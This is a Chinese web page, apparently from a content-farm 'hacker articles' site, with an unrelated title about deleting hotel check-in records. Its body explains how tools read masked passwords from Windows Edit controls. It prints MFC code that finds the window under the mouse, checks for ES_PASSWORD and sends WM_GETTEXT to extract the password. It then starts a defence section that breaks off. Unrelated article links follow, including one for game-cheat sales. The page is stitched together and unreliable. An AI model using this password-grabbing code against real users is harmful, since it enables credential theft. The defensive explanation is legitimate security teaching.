怎么彻底删除自己的开房记录详单 有软件可以监

访客4年前黑客文章541

Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。   二、黑客软件工作 ***   首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下:   //将客户坐标转换成屏幕坐标ClientToScreen(&point);//返回一个包含指定屏幕坐标点的窗口CWnd* pWnd = CWnd::WindowFromPoint(point);if (pWnd){//获取窗口句柄HWND hwndCurr = pWnd->GetSafeHwnd();if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=(::GetWindowThreadProcessId (hwndCurr, NULL))){char lpClassName[255];//获取类名if (::GetClassName(hwndCurr, lpClassName, 255)){//判断是否是Edit控件if (0 == m_strWndClass.CompareNoCase("EDIT")){//获取窗口风格LONG lStyle. = ::GetWindowLong(hwndCurr, GWL_STYLE);//如果设置了ES_PASSWORD属性if (lStyle. & ES_PASSWORD){char szText[255];//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);//密码已保存在szText中m_strPassword = szText;}}}}}   上述代码中值得注意的有以下几个关键地方:   ClientToScreen(&point);CWnd* pWnd = CWnd::WindowFromPoint(point);HWND hwndCurr = pWnd->GetSafeHwnd();   这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。   这便是真正起作用的SendMessage了,其之一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。   三、防范措施   既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种 *** 来验证发送消息者的身份是否合法:   1.创建新CEdit类   从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity;   然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:

相关文章

关于黑客之战的简介(中国黑客)

关于黑客之战的简介(中国黑客)

本文导读目录: 1、几次著名的黑客大战 2、介绍一下1998年到2002年之间的6次中外黑客大战 3、历史上最著名的几次黑客事件 4、谁能详细介绍下有关中美黑客网上大战的事? 5、98...

芙斯维尔面包加盟优势有哪些?仔细了解省时省心

芙斯维尔面包加盟优势有哪些?仔细了解省时省心

面包行业如今成长的速度长短常的快的,所以在成长的同时,吸引了浩瀚的加盟者的眼光,很多不知道该加盟什么加盟品牌的加盟者一时间纷纷加盟起面包行业了,个中的芙斯维尔面包品牌长短常受接待的加盟品牌之一,那么芙...

看门狗2黑客技能4个选项(看门狗二黑客挑战该怎么弄)

看门狗2黑客技能4个选项(看门狗二黑客挑战该怎么弄)

本文导读目录: 1、《看门狗2》新手技能加点推荐 新手怎么选择技能 2、看门狗2技能怎么点 看门狗2技能升级推荐一览 3、看门狗2完成黑客挑战任务怎么做 4、全技能效果及操作方法介绍 看门...

湿气重怎么调理,湿气重是什么原因!

湿气重怎么调理,湿气重是什么原因!

湿气一直困扰着很多人,可是很多人不了解那就是湿毒,尤其是头部,舌头,皮肤,关节,以及精神状态等症状的显现,尤其是夏天来临,这个又湿又热的季节就很容易使湿气在身体中堆积湿气重的人,身体上这两个地方可能会...

男性不孕的原因(导致不孕不育原因有哪些男)

男性不孕的原因(导致不孕不育原因有哪些男) 男人不育有可能是精神压力过大引起的,也有可能是输精管堵塞造成的,男人不育应该要警惕身体疾病,要了解引起的具体原因,采取合适的方法进行治疗,男人不育也可能是...

超凡先锋正规卖挂平台(超凡先锋免费直装挂)

超凡先锋正规卖挂平台(超凡先锋免费直装挂)

本文导读目录: 1、超凡先锋辅助托管有谁知道?可不可以给点建议? 2、超凡先锋怎么选择辅助挂机脚本呀? 3、超凡先锋闪电怎么卖手续费低 4、超凡先锋在哪个平台买 5、超凡先锋坐挂车封号...